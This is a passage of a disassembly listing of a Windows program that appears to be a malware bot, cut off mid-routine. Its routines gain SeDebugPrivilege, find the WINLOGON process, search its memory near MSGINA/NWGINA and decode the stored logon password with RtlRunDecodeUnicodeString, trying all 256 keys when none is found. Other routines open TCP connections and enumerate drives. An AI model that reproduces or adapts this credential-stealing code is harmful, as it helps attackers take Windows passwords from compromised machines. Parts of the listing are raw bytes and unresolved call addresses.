; ---------------------------------------------------------------------------

loc_416C49:				; CODE XREF: sub_416C28+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_4CAEDC
		lea	esi, [eax+2]
		push	esi
		call	sub_41B4D5
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_4CAEDC
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_416CA1

loc_416C6D:				; CODE XREF: sub_416C28+77j
		push	offset aA_1	; "A:\\"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_416C90
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416B56
		add	esp, 10h

loc_416C90:				; CODE XREF: sub_416C28+54j
		push	esi
		call	sub_41AFE0
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_416C6D

loc_416CA1:				; CODE XREF: sub_416C28+43j
		push	edi
		call	sub_41B0B1
		pop	ecx
		pop	edi
		pop	esi

loc_416CAA:				; CODE XREF: sub_416C28+1Fj
		pop	ebx
		pop	ebp
		retn
sub_416C28	endp

; ---------------------------------------------------------------------------
byte_416CAD	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+689Fo
		dd 49CEC81h, 458B0000h,	57565308h, 0A7B9h, 8DF08B00h, 0FFFD64BDh
		dd 0C7A5F3FFh, 29880h, 100h, 0EC858D00h, 50FFFFFEh, 42FFE8h
		dd 80DB3300h, 0FEEB05BCh, 595CFFFFh, 858D1475h,	0FFFFFEECh
		dd 42E6E850h, 88590000h, 0FEEB059Ch, 858DFFFFh,	0FFFFFDE8h
		dd 78EC6850h, 858D0043h, 0FFFFFB64h, 20068h, 61E85000h
		dd 8300004Ch, 5D3910C4h, 532075F8h, 0FB64858Dh,	75FFFFFFh
		dd 858D50F4h, 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF2D2Eh
		dd 8D14C483h, 0FFFEEC85h, 8D5053FFh, 0FFFDE885h, 858D50FFh
		dd 0FFFFFD68h, 50F475FFh, 0FD64B5FFh, 5DE8FFFFh, 83000000h
		dd 8D5018C4h, 0FFFB6485h, 78CC68FFh, 0E8500043h, 4B06h
		dd 390CC483h, 2075F85Dh, 64858D53h, 0FFFFFFFBh,	8D50F475h
		dd 0FFFD6885h, 0B5FF50FFh, 0FFFFFD64h, 0FF2CCDE8h, 14C483FFh
		dd 0FB64858Dh, 0E850FFFFh, 0FFFFE3F8h, 0E8F075FFh, 0FFFF4656h
		dd 0E8535959h, 22B923Ch, 5B5E5F90h, 81EC8B55h, 54CECh
		dd 57565300h, 104BEh, 1875FF00h, 0FDB8858Dh, 3068FFFFh
		dd 56004379h, 4B92E850h, 3D8B0000h, 427000h, 8D10C483h
		dd 0FFFEBC85h, 858D50FFh, 0FFFFFDB8h, 83D7FF50h, 4589FFF8h
		dd 93BCBBFCh, 71740042h, 0FEBC85F6h, 7410FFFFh,	0E8BD8054h
		dd 2EFFFFFEh, 0BD801275h, 0FFFFFEE9h, 80427400h, 0FFFEE9BDh
		dd 39742EFFh, 0FEE8858Dh, 8D50FFFFh, 0FFFCB485h, 1875FFFFh
		dd 0E8505653h, 4B30h, 8D1C75FFh, 0FFFCB485h, 75FF50FFh
		dd 1075FF14h, 0FF0C75FFh, 5DE80875h, 83FFFFFFh,	45892CC4h
		dd 0BC858D1Ch, 50FFFFFEh, 0E8FC75FFh, 2339475h,	75C08590h
		dd 0FC75FF8Fh, 9172E890h, 75FF0232h, 0B8858D14h, 0FFFFFFFDh
		dd 56531875h, 4ADEE850h, 0C4830000h, 0BC858D14h, 50FFFFFEh
		dd 0FDB8858Dh, 0FF50FFFFh, 83F08BD7h, 4F74FFFEh, 0FEE8858Dh
		dd 45FFFFFFh, 858D501Ch, 0FFFFFAB4h, 681875FFh,	437914h
		dd 20068h, 0A1E85000h, 6A00004Ah, 0B4858D01h, 0FFFFFFFAh
		dd 0FF501075h, 75FF0C75h, 2B7CE808h, 0C483FFFFh, 0BC858D28h
		dd 50FFFFFEh, 0EEE89056h, 85023393h, 56B175C0h,	90EEE890h
		dd 458B0232h, 5B5E5F1Ch
; ---------------------------------------------------------------------------
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416F1A	proc near		; DATA XREF: sub_401ACD+1CCFo

var_29C		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_9C]
		push	1
		rep movsd
		pop	esi
		mov	[eax+90h], esi
		call	sub_41A8F4
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_416F59
		cmp	eax, 2
		jz	short loc_416F59
		push	offset unk_437B08
		jmp	loc_417098
; ---------------------------------------------------------------------------

loc_416F59:				; CODE XREF: sub_416F1A+2Ej
					; sub_416F1A+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_417093
		push	ebx
		push	offset aNtdll_dll ; "NTDLL.DLL"
		nop
		call	near ptr 26A0000h
		mov	esi, dword_4270BC
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+var_8], edi
		call	esi
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	dword_4D3DEC, eax
		call	esi
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	dword_4D3DE0, eax
		call	esi
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	dword_4D3FF0, eax
		call	esi
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	dword_4D3DE8, eax
		call	esi
		mov	dword_4D3DE4, eax
		call	sub_4170EC
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_417066
		mov	esi, dword_42713C
		mov	edi, 400h
		mov	ebx, offset dword_4D2DE0
		push	edi
		push	ebx
		push	offset off_437A44
		call	esi
		push	edi
		mov	edi, offset dword_4D35E0
		push	edi
		push	offset off_437A2C
		call	esi
		cmp	[ebp+var_4], 1
		push	offset dword_4D3FF8
		push	[ebp+arg_0]
		jnz	short loc_417012
		call	sub_417275
		jmp	short loc_417017
; ---------------------------------------------------------------------------

loc_417012:				; CODE XREF: sub_416F1A+EFj
		call	sub_41741C

loc_417017:				; CODE XREF: sub_416F1A+F6j
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41705F
		cmp	dword_4D3FF8, 0
		jnz	short loc_417046
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_29C]
		push	offset unk_4379D0
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 18h
		jmp	short loc_417079
; ---------------------------------------------------------------------------

loc_417046:				; CODE XREF: sub_416F1A+10Aj
		cmp	[ebp+var_4], 1
		push	[ebp+arg_0]
		jnz	short loc_417056
		call	sub_417552
		jmp	short loc_41705B
; ---------------------------------------------------------------------------

loc_417056:				; CODE XREF: sub_416F1A+133j
		call	sub_4175E9

loc_41705B:				; CODE XREF: sub_416F1A+13Aj
		pop	ecx
		push	eax
		jmp	short loc_41706B
; ---------------------------------------------------------------------------

loc_41705F:				; CODE XREF: sub_416F1A+101j
		push	offset unk_437998
		jmp	short loc_41706B
; ---------------------------------------------------------------------------

loc_417066:				; CODE XREF: sub_416F1A+B6j
		push	offset unk_43796C

loc_41706B:				; CODE XREF: sub_416F1A+143j
					; sub_416F1A+14Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_417079:				; CODE XREF: sub_416F1A+12Aj
		push	0
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		nop
		call	near ptr 27803EEh
		pop	ebx
		jmp	short loc_4170A6
; ---------------------------------------------------------------------------

loc_417093:				; CODE XREF: sub_416F1A+4Ej
		push	offset unk_437938

loc_417098:				; CODE XREF: sub_416F1A+3Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_4170A6:				; CODE XREF: sub_416F1A+177j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		jnz	short loc_4170CD
		push	esi
		lea	eax, [ebp+var_29C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_409A72
		add	esp, 14h

loc_4170CD:				; CODE XREF: sub_416F1A+191j
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_4151AC
		push	[ebp+var_18]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26D0000h
		pop	edi
		pop	esi
sub_416F1A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4170EC	proc near		; CODE XREF: sub_416F1A+ACp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_427148
		mov	ebx, 100h
		push	edi
		push	ebx
		push	8
		call	esi
		mov	edi, dword_427144
		push	eax
		call	edi
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	dword_4D3DEC
		push	ebp
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 2790000h
		push	[esp+28h+var_14]
		push	8
		call	esi
		push	eax
		call	edi
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_C], eax
		push	ecx
		push	eax
		push	ebp
		push	10h
		call	dword_4D3DEC
		test	eax, eax
		jnz	short loc_4171D9
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_4171D9
		push	1
		mov	ebx, ebp
		pop	ecx
		cmp	eax, ecx
		mov	[esp+28h+var_18], ecx
		jb	short loc_4171D9

loc_417175:				; CODE XREF: sub_4170EC+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_4171CC
		push	0
		push	0
		call	dword_4D3DE0
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	dword_4D3FF0
		test	eax, eax
		jnz	short loc_4171BD
		mov	eax, [edi+60h]
		push	offset aWinlogon ; "WINLOGON"
		mov	[esp+2Ch+var_8], eax
		lea	eax, [edi+80h]
		push	eax
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4171F1

loc_4171BD:				; CODE XREF: sub_4170EC+AAj
		test	edi, edi
		jz	short loc_4171C8
		push	edi
		call	dword_4D3DE8

loc_4171C8:				; CODE XREF: sub_4170EC+D3j
		mov	eax, [esp+28h+var_10]

loc_4171CC:				; CODE XREF: sub_4170EC+8Ej
		add	ebx, 10h
		inc	[esp+28h+var_18]
		cmp	[esp+28h+var_18], eax
		jbe	short loc_417175

loc_4171D9:				; CODE XREF: sub_4170EC+6Dj
					; sub_4170EC+7Aj ...
		xor	edi, edi

loc_4171DB:				; CODE XREF: sub_4170EC+17Dj
		push	ebp
		push	0
		call	esi
		push	eax
		call	near ptr 2790000h
		nop
		mov	eax, edi

loc_4171E9:				; CODE XREF: sub_4170EC+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------

loc_4171F1:				; CODE XREF: sub_4170EC+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_41725A
		lea	eax, [edi+80h]
		mov	[esp+28h+var_18], eax

loc_417207:				; CODE XREF: sub_4170EC+16Cj
		add	[esp+28h+var_18], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+var_18]
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41726E
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+var_18]
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41724C
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax

loc_41724C:				; CODE XREF: sub_4170EC+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_417207

loc_41725A:				; CODE XREF: sub_4170EC+10Fj
		test	edi, edi
		jz	short loc_417265
		push	edi
		call	dword_4D3DE8

loc_417265:				; CODE XREF: sub_4170EC+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_4171DB
; ---------------------------------------------------------------------------

loc_41726E:				; CODE XREF: sub_4170EC+13Cj
		xor	eax, eax
		jmp	loc_4171E9
sub_4170EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417275	proc near		; CODE XREF: sub_416F1A+F1p

var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2B		= byte ptr -2Bh
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		xor	esi, esi
		push	[ebp+arg_0]
		mov	[ebp+var_10], esi
		push	esi
		push	410h
		call	near ptr 2670284h
		nop
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_41729E
		xor	eax, eax
		jmp	loc_417419
; ---------------------------------------------------------------------------

loc_41729E:				; CODE XREF: sub_417275+20j
		mov	eax, [ebp+arg_4]
		push	ebx
		push	edi
		mov	[eax], esi
		lea	eax, [ebp+var_64]
		push	eax
		nop
		call	near ptr 27B01E8h
		push	[ebp+var_60]
		mov	[ebp+var_8], esi
		mov	esi, dword_427148
		push	8
		call	esi
		mov	edi, dword_427144
		push	eax
		call	edi
		lea	ecx, [ebp+var_8]
		mov	ebx, dword_427150
		push	ecx
		mov	[ebp+arg_0], eax
		push	[ebp+var_60]
		push	eax
		push	7FFDF000h
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jnz	short loc_4172EE
		xor	esi, esi
		jmp	loc_41740C
; ---------------------------------------------------------------------------

loc_4172EE:				; CODE XREF: sub_417275+70j
		lea	eax, [ebp+var_40]
		push	1Ch
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		nop
		call	near ptr 27A0BE4h
		test	eax, eax
		jz	loc_4173FB
		mov	ecx, [ebp+var_30]
		mov	eax, 1000h
		and	ecx, eax
		cmp	ecx, eax
		jnz	loc_4173FB
		test	[ebp+var_2B], 1
		jnz	loc_4173FB
		push	[ebp+var_34]
		push	8
		call	esi
		push	eax
		call	edi
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	[ebp+var_34]
		mov	[ebp+var_C], edi
		push	edi
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jz	loc_4173FB

loc_417351:				; CODE XREF: sub_417275+112j
		push	edi
		push	offset dword_4D2DE0
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417379
		lea	eax, [edi+200h]
		push	eax
		push	offset dword_4D35E0
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417389

loc_417379:				; CODE XREF: sub_417275+EBj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		inc	edi
		add	eax, ecx
		inc	edi
		cmp	edi, eax
		jnb	short loc_4173FB
		jmp	short loc_417351
; ---------------------------------------------------------------------------

loc_417389:				; CODE XREF: sub_417275+102j
		test	edi, edi
		jz	short loc_4173FB
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		nop
		call	near ptr 2750000h
		test	eax, eax
		jz	short loc_4173C4
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		nop
		call	near ptr 27407BFh
		test	eax, eax
		jz	short loc_4173C4
		mov	al, [edi+42Ch]
		mov	ecx, [ebp+arg_4]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax

loc_4173C4:				; CODE XREF: sub_417275+12Bj
					; sub_417275+13Dj
		movzx	eax, word ptr [edi+42Ch]
		shr	eax, 8
		mov	dword_4D4004, eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], 1
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_C]
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	dword_4D3FFC, eax
		mov	dword_4D4000, edi

loc_4173FB:				; CODE XREF: sub_417275+90j
					; sub_417275+A2j ...
		push	[ebp+arg_0]
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 2790000h
		mov	esi, [ebp+var_10]

loc_41740C:				; CODE XREF: sub_417275+74j
		push	[ebp+var_4]
		nop
		call	near ptr 26509C3h
		pop	edi
		mov	eax, esi
		pop	ebx

loc_417419:				; CODE XREF: sub_417275+24j
		pop	esi
		leave
		retn
sub_417275	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41741C	proc near		; CODE XREF: sub_416F1A:loc_417012p

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	0
		push	410h
		nop
		call	near ptr 2670284h
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_41750E
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_4C]
		push	eax
		nop
		call	near ptr 27B01E8h
		mov	ebx, [ebp+var_44]
		mov	eax, [ebp+var_40]
		cmp	ebx, eax
		mov	[ebp+var_C], eax
		jnb	loc_417505
		mov	edi, dword_427148

loc_417467:				; CODE XREF: sub_41741C+E3j
		lea	eax, [ebp+var_28]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 27A0BE4h
		test	eax, eax
		jz	short loc_4174F3
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_1C]
		mov	eax, 1000h
		mov	[ebp+var_4], ecx
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_4174F9
		test	[ebp+var_13], 1
		jnz	short loc_4174F9
		push	ecx
		push	8
		call	edi
		push	eax
		nop
		call	near ptr 27A0000h
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		and	[ebp+var_8], 0
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		call	near ptr 27B0000h
		nop
		test	eax, eax
		jz	short loc_4174E5
		push	offset dword_4D2DE0
		push	esi
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4174E5
		lea	eax, [esi+400h]
		push	offset dword_4D35E0
		push	eax
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417515

loc_4174E5:				; CODE XREF: sub_41741C+9Fj
					; sub_41741C+B0j
		push	esi
		push	0
		call	edi
		push	eax
		nop
		call	near ptr 2790000h
		jmp	short loc_4174F9
; ---------------------------------------------------------------------------

loc_4174F3:				; CODE XREF: sub_41741C+5Dj
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4], eax

loc_4174F9:				; CODE XREF: sub_41741C+71j
					; sub_41741C+77j ...
		add	ebx, [ebp+var_4]
		cmp	ebx, [ebp+var_C]
		jb	loc_417467

loc_417505:				; CODE XREF: sub_41741C+3Fj
		push	[ebp+arg_0]
		call	near ptr 26509C3h
		nop

loc_41750E:				; CODE XREF: sub_41741C+1Ej
		xor	eax, eax

loc_417510:				; CODE XREF: sub_41741C+134j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_417515:				; CODE XREF: sub_41741C+C7j
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	dword_4D3FFC, ebx
		mov	dword_4D4000, eax
		cmp	[eax], cl
		jnz	short loc_417537
		cmp	[eax+1], cl
		jz	short loc_41753F

loc_417537:				; CODE XREF: sub_41741C+114j
					; sub_41741C+121j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_417537

loc_41753F:				; CODE XREF: sub_41741C+119j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		mov	[eax], ecx
		nop
		call	near ptr 26509C3h
		push	1
		pop	eax
		jmp	short loc_417510
sub_41741C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417552	proc near		; CODE XREF: sub_416F1A+135p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4D3FF8
		push	esi
		mov	esi, dword_427148
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], cx
		movzx	eax, ax
		push	eax
		push	8
		call	esi
		push	eax
		call	near ptr 27A0000h
		nop
		mov	ecx, dword_4D3FF8
		mov	[ebp+var_4], eax
		add	ecx, ecx
		push	ecx
		push	dword_4D4000
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		mov	al, byte ptr dword_4D4004
		push	eax
		call	dword_4D3DE4
		push	[ebp+var_4]
		mov	edi, offset dword_4D3DF0
		push	offset dword_4D2DE0
		push	offset dword_4D35E0
		push	[ebp+arg_0]
		push	offset dword_437B54
		push	200h
		push	edi
		call	sub_41B980
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 2790000h
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_417552	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4175E9	proc near		; CODE XREF: sub_416F1A:loc_417056p

var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_4D3FF8
		push	ebx
		push	esi
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_16], ax
		mov	[ebp+var_18], cx
		movzx	eax, ax
		push	eax
		push	8
		call	near ptr 27A0B8Dh
		nop
		push	eax
		nop
		call	near ptr 27A0000h
		and	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		mov	ebx, offset dword_4D35E0
		mov	edi, 200h
		mov	esi, offset dword_4D2BE0

loc_41762F:				; CODE XREF: sub_4175E9+FAj
		mov	eax, dword_4D3FF8
		add	eax, eax
		push	eax
		push	dword_4D4000
		push	[ebp+var_14]
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	dword_4D3DE4
		mov	eax, dword_4D3FF8
		and	[ebp+var_10], 0
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], 1
		test	eax, eax
		jbe	short loc_4176A4

loc_41766C:				; CODE XREF: sub_4175E9+B3j
		cmp	[ebp+var_8], 0
		jz	short loc_4176C1
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_417690
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_417690
		cmp	dl, 20h
		jnb	short loc_41768A
		and	[ebp+var_8], 0

loc_41768A:				; CODE XREF: sub_4175E9+9Bj
		cmp	[ebp+var_1], 7Eh
		jbe	short loc_417694

loc_417690:				; CODE XREF: sub_4175E9+90j
					; sub_4175E9+96j
		and	[ebp+var_8], 0

loc_417694:				; CODE XREF: sub_4175E9+A5j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_41766C
		cmp	[ebp+var_8], 0
		jz	short loc_4176C1

loc_4176A4:				; CODE XREF: sub_4175E9+81j
		push	[ebp+var_14]
		push	offset dword_4D2DE0
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_437B54
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 1Ch
		jmp	short loc_4176D9
; ---------------------------------------------------------------------------

loc_4176C1:				; CODE XREF: sub_4175E9+87j
					; sub_4175E9+B9j
		push	offset dword_4D2DE0
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_437BA4
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 18h

loc_4176D9:				; CODE XREF: sub_4175E9+D6j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_41762F
		push	[ebp+var_14]
		push	0
		nop
		call	near ptr 27A0B8Dh
		push	eax
		call	near ptr 2790000h
		nop
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4175E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417702	proc near		; CODE XREF: sub_4178BA+2Fp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CAFF4
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_41777E
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CAF74
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CAFB4
		cmp	eax, esi
		jnz	short loc_417763
		push	[ebp+arg_0]
		call	dword_4CAFF8
		test	eax, eax
		jz	short loc_41777E
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

loc_417763:				; CODE XREF: sub_417702+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CAF1C
		cmp	eax, esi
		jnz	short loc_417782
		push	edi
		call	dword_4CB00C

loc_41777E:				; CODE XREF: sub_417702+1Bj
					; sub_417702+58j
		mov	eax, esi
		jmp	short loc_417784
; ---------------------------------------------------------------------------

loc_417782:				; CODE XREF: sub_417702+73j
		mov	eax, edi

loc_417784:				; CODE XREF: sub_417702+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_417702	endp


; =============== S U B	R O U T	I N E =======================================



sub_417788	proc near		; CODE XREF: sub_401ACD+3294p
					; sub_401ACD+3300p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	offset asc_429998 ; "\n"
		push	edi
		call	sub_41BEC0
		pop	ecx
		mov	esi, offset dword_4D400C
		pop	ecx

loc_4177A0:				; CODE XREF: sub_417788+42j
		cmp	dword ptr [esi-4], 1
		jnz	short loc_4177BE
		cmp	dword ptr [esi], 0
		jbe	short loc_4177BE
		push	0
		push	edi
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [esi]
		call	dword_4CAFC4

loc_4177BE:				; CODE XREF: sub_417788+1Cj
					; sub_417788+21j
		add	esi, 210h
		cmp	esi, offset dword_4DA72C
		jl	short loc_4177A0
		pop	edi
		pop	esi
		retn
sub_417788	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4177CF	proc near		; CODE XREF: sub_4178BA+155p

var_420		= byte ptr -420h
var_220		= byte ptr -220h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	ebx
		push	esi
		mov	esi, offset asc_42CA34 ; " "
		push	edi
		push	esi
		push	[ebp+arg_0]
		call	sub_41C0F4
		pop	ecx
		mov	[ebp+var_20], eax
		pop	ecx
		lea	edi, [ebp+var_1C]
		push	7
		pop	ebx

loc_4177F4:				; CODE XREF: sub_4177CF+35j
		push	esi
		push	0
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	ebx
		pop	ecx
		jnz	short loc_4177F4
		mov	esi, [ebp+var_1C]
		xor	edi, edi
		cmp	[ebp+var_20], edi
		jnz	short loc_41781C
		cmp	esi, edi
